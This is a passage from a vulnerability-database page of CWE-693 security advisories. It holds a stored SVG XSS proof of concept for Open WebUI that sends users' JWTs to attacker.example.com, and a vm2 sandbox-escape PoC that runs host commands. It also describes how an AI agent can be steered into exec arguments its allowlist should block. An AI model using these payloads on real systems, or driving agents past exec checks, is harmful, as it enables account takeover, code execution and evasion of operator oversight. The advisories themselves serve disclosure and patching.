Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1140 vulnerabilities reference this CWE, most recent first.

GHSA-V2QM-5WXJ-QHJ7

Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-07-20 21:05
VLAI
Summary
Open WebUI: Stored XSS to Account Takeover via Model Profile Images
Details

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc


TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.


Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    description: Optional[str] = None
    capabilities: Optional[dict] = None
    model_config = ConfigDict(extra='allow')

No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
    header, base64_data = profile_image_url.split(',', 1)
    image_data = base64.b64decode(base64_data)
    image_buffer = io.BytesIO(image_data)
    media_type = header.split(';')[0].lstrip('data:')

    headers = {'Content-Disposition': 'inline'}
    # ...
    return StreamingResponse(
        image_buffer,
        media_type=media_type,
        headers=headers,
    )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # <-- ABSENT in models.py
    return FileResponse(f'{STATIC_DIR}/user.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',             # <-- ABSENT in models.py
    },
)

The fix exists. It just was never applied here.

Comparison Table

Endpoint Input Validation MIME Allowlist nosniff Status
GET /users/{id}/profile/image YES YES YES Patched
GET /webhooks/{id}/profile/image YES no no Partially patched
GET /models/model/profile/image NO NO NO Vulnerable

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

  1. POST /api/v1/models/create (line 195) any user with workspace.models permission
  2. POST /api/v1/models/update (line 581) model owner or admin
  3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
      \"description\": \"Latest GPT-4 Turbo model\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"   # attacker-controlled listener

# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>
````
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

## Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta`  which uses the same `profile_image_url` field with the same serving logic  was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.

## Recommended Fix

**Input side**  add the validator to `ModelMeta`:

```python
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    # ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:52Z",
    "nvd_published_at": "2026-06-23T18:18:06Z",
    "severity": "HIGH"
  },
  "details": "# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI \u003c= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images  but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model\u0027s profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q**  SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc**  SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py`  a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\u003cscript\u003e` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.\n\nThe fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.\n\nExcept there was a fourth endpoint.\n\n## The Gap\n\nOpen WebUI has a concept of \"Models\"  user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py, line 37-47\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n    description: Optional[str] = None\n    capabilities: Optional[dict] = None\n    model_config = ConfigDict(extra=\u0027allow\u0027)\n```\n\nNo `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url`  including `data:image/svg+xml;base64,...`.\n\nThe serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:\n\n```python\n# backend/open_webui/routers/models.py, line 503-518\nelif profile_image_url.startswith(\u0027data:image\u0027):\n    header, base64_data = profile_image_url.split(\u0027,\u0027, 1)\n    image_data = base64.b64decode(base64_data)\n    image_buffer = io.BytesIO(image_data)\n    media_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027)\n\n    headers = {\u0027Content-Disposition\u0027: \u0027inline\u0027}\n    # ...\n    return StreamingResponse(\n        image_buffer,\n        media_type=media_type,\n        headers=headers,\n    )\n```\n\nNo MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application\u0027s origin.\n\nCompare this with the **patched** user endpoint:\n\n```python\n# backend/open_webui/routers/users.py, line 497-509\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:   # \u003c-- ABSENT in models.py\n    return FileResponse(f\u0027{STATIC_DIR}/user.png\u0027)\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        \u0027Content-Disposition\u0027: \u0027inline\u0027,\n        \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,             # \u003c-- ABSENT in models.py\n    },\n)\n```\n\nThe fix exists. It just was never applied here.\n\n## Comparison Table\n\n| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |\n|----------|:---:|:---:|:---:|--------|\n| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |\n| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |\n| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |\n\n## Three Write Vectors\n\nThe malicious SVG data URI can be injected through any of three endpoints  all pass `ModelForm` containing `ModelMeta` without validation:\n\n1. **`POST /api/v1/models/create`** (line 195)  any user with `workspace.models` permission\n2. **`POST /api/v1/models/update`** (line 581)  model owner or admin\n3. **`POST /api/v1/models/import`** (line 279)  admin only\n\nThe `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment.\n\n## The Attack\n\n**Step 1  Store the payload:**\n\n```bash\nSVG=$(echo \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e\u0027 | base64 -w0)\n\ncurl -s -X POST \u0027https://TARGET/api/v1/models/create\u0027 \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n```\n\n**Step 2  Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model\u0027s avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3  Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n  \u003c/script\u003e\n\u003c/svg\u003e\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\u003cscript\u003e` executes. `localStorage.getItem(\"token\")` returns the victim\u0027s JWT. The attacker receives it and has full API access  password changes, admin promotion, data exfiltration.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\n# PoC: Stored SVG XSS -\u003e token theft via Open WebUI model profile image\n# Affected: open-webui \u003c= 0.9.5\n\nTARGET=\"http://localhost:8080\"\nATTACKER_TOKEN=\"\u003cattacker_JWT_from_localStorage.token\u003e\"\nCOLLECTOR=\"https://attacker.example.com/steal\"   # attacker-controlled listener\n\n# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---\nread -r -d \u0027\u0027 SVG \u003c\u003cEOF\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003e\n    new Image().src=\"${COLLECTOR}?t=\"+encodeURIComponent(localStorage.getItem(\"token\"));\n  \u003c/script\u003e\n\u003c/svg\u003e\nEOF\nSVG_B64=$(printf \u0027%s\u0027 \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model\u0027s profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n  -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n    \\\"name\\\": \\\"GPT-4 Turbo\\\",\n    \\\"base_model_id\\\": \\\"gpt-4\\\",\n    \\\"meta\\\": {\n      \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n      \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n    },\n    \\\"params\\\": {},\n    \\\"access_grants\\\": []\n  }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof \u2014 SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cscript\u003enew Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\u003c/script\u003e\n\u003c/svg\u003e\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the \u003cscript\u003e executes in the Open WebUI origin, and the victim\u0027s JWT lands in the attacker\u0027s collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).\n\nTrigger note: because the frontend loads model avatars in `\u003cimg src=...\u003e` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document \u2014 e.g. right-click \u2192 \"Open image in new tab\", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.\n\n## Root Cause\n\nAn incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta`  which uses the same `profile_image_url` field with the same serving logic  was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.\n\n## Recommended Fix\n\n**Input side**  add the validator to `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py\nfrom open_webui.utils.validate import validate_profile_image_url\n\nclass ModelMeta(BaseModel):\n    profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n    # ...\n\n    @field_validator(\u0027profile_image_url\u0027, mode=\u0027before\u0027)\n    @classmethod\n    def check_profile_image_url(cls, v):\n        if v is None:\n            return v\n        return validate_profile_image_url(v)\n```\n\n**Output side**  add MIME check and nosniff to the serving endpoint:\n\n```python\n# backend/open_webui/routers/models.py\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:\n    return FileResponse(f\u0027{STATIC_DIR}/favicon.png\u0027)\n\nreturn StreamingResponse(\n    image_buffer,\n    media_type=media_type,\n    headers={\n        \u0027Content-Disposition\u0027: \u0027inline\u0027,\n        \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,\n    },\n)\n```\n\nBoth layers are necessary  input validation prevents storage, output validation prevents serving even if a bypass is found later.",
  "id": "GHSA-v2qm-5wxj-qhj7",
  "modified": "2026-07-20T21:05:03Z",
  "published": "2026-06-17T14:15:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54013"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v2qm-5wxj-qhj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2757.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Stored XSS to Account Takeover via Model Profile Images "
}

GHSA-V2WW-5RH7-2H5V

Vulnerability from github – Published: 2026-06-18 20:33 – Updated: 2026-06-18 20:33
VLAI
Summary
OpenClaw: Linux and macOS exec allowlists skipped configured argument patterns
Details

Summary

OpenClaw's exec allowlist supported optional argPattern entries to restrict the arguments accepted for an allowlisted executable. In affected releases, Linux and macOS gateways skipped argPattern checks and treated a matching executable path as sufficient to satisfy the allowlist.

This meant an operator could configure an allowlist entry that appeared to permit only a narrow argv shape, but OpenClaw would allow other argv for the same executable without an approval prompt when tools.exec.security was set to allowlist.

This issue is limited to direct enforcement of configured argPattern values. OpenClaw's exec approvals remain best-effort guardrails and do not attempt to semantically model every interpreter, loader, package script, shell feature, or transitive file a command may use.

Affected configurations

This affects OpenClaw gateway deployments that meet all of these conditions:

  • the gateway runs on Linux or macOS
  • exec is configured with tools.exec.security: "allowlist"
  • at least one exec allowlist entry uses argPattern
  • the allowlisted executable accepts security-relevant arguments or flags

Path-only allowlist entries are not additionally affected by this issue, because those entries intentionally allow any arguments for the matched executable. Windows was not affected by this specific bug because the affected code path already applied argPattern checks on Windows.

Impact

If an untrusted or lower-trust sender can influence a tool-enabled agent to call exec, they may be able to run disallowed arguments for an executable that the operator intended to restrict with argPattern. Depending on the executable, those arguments can cause host-side file access, network access, or command execution that should have required an approval prompt.

The practical impact depends on the operator's allowlist and channel exposure. Examples of higher-risk allowlisted executables include tools with interpreter, loader, subprocess, network, or plugin flags such as git, python, node, bash, find, tar, and ssh.

This is not a bypass of all exec approval semantics. It is a bypass of the direct argPattern predicate that the operator configured and that the exec tool description advertised as enforced at runtime.

Patched Versions

The first stable patched version is 2026.5.12.

Mitigations

Upgrade to openclaw@2026.5.12 or later. Before upgrading, operators who use exec allowlist mode should review entries that combine an executable path with argPattern, especially for interpreter-like or subprocess-capable tools.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:33:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOpenClaw\u0027s exec allowlist supported optional `argPattern` entries to restrict the arguments accepted for an allowlisted executable. In affected releases, Linux and macOS gateways skipped `argPattern` checks and treated a matching executable path as sufficient to satisfy the allowlist.\n\nThis meant an operator could configure an allowlist entry that appeared to permit only a narrow argv shape, but OpenClaw would allow other argv for the same executable without an approval prompt when `tools.exec.security` was set to `allowlist`.\n\nThis issue is limited to direct enforcement of configured `argPattern` values. OpenClaw\u0027s exec approvals remain best-effort guardrails and do not attempt to semantically model every interpreter, loader, package script, shell feature, or transitive file a command may use.\n\n### Affected configurations\n\nThis affects OpenClaw gateway deployments that meet all of these conditions:\n\n- the gateway runs on Linux or macOS\n- exec is configured with `tools.exec.security: \"allowlist\"`\n- at least one exec allowlist entry uses `argPattern`\n- the allowlisted executable accepts security-relevant arguments or flags\n\nPath-only allowlist entries are not additionally affected by this issue, because those entries intentionally allow any arguments for the matched executable. Windows was not affected by this specific bug because the affected code path already applied `argPattern` checks on Windows.\n\n### Impact\n\nIf an untrusted or lower-trust sender can influence a tool-enabled agent to call exec, they may be able to run disallowed arguments for an executable that the operator intended to restrict with `argPattern`. Depending on the executable, those arguments can cause host-side file access, network access, or command execution that should have required an approval prompt.\n\nThe practical impact depends on the operator\u0027s allowlist and channel exposure. Examples of higher-risk allowlisted executables include tools with interpreter, loader, subprocess, network, or plugin flags such as `git`, `python`, `node`, `bash`, `find`, `tar`, and `ssh`.\n\nThis is not a bypass of all exec approval semantics. It is a bypass of the direct `argPattern` predicate that the operator configured and that the exec tool description advertised as enforced at runtime.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.12`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.12` or later. Before upgrading, operators who use exec allowlist mode should review entries that combine an executable path with `argPattern`, especially for interpreter-like or subprocess-capable tools.",
  "id": "GHSA-v2ww-5rh7-2h5v",
  "modified": "2026-06-18T20:33:22Z",
  "published": "2026-06-18T20:33:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v2ww-5rh7-2h5v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53853"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-argument-pattern-bypass-in-exec-allowlist-via-linux-and-macos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Linux and macOS exec allowlists skipped configured argument patterns"
}

GHSA-V2WX-4457-4JPJ

Vulnerability from github – Published: 2025-09-17 00:31 – Updated: 2025-09-17 00:31
VLAI
Details

A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-37124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T23:15:32Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.",
  "id": "GHSA-v2wx-4457-4jpj",
  "modified": "2025-09-17T00:31:11Z",
  "published": "2025-09-17T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37124"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04943en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V37H-5MFM-C47C

Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33
VLAI
Summary
VM2 Has Sandbox Breakout Through Inspect Function
Details

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

const obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice:()=>'',
    l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
    if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
    return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24781"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T16:33:14Z",
    "nvd_published_at": "2026-05-04T17:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e\u0027\u0027,\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "id": "GHSA-v37h-5mfm-c47c",
  "modified": "2026-05-05T16:33:15Z",
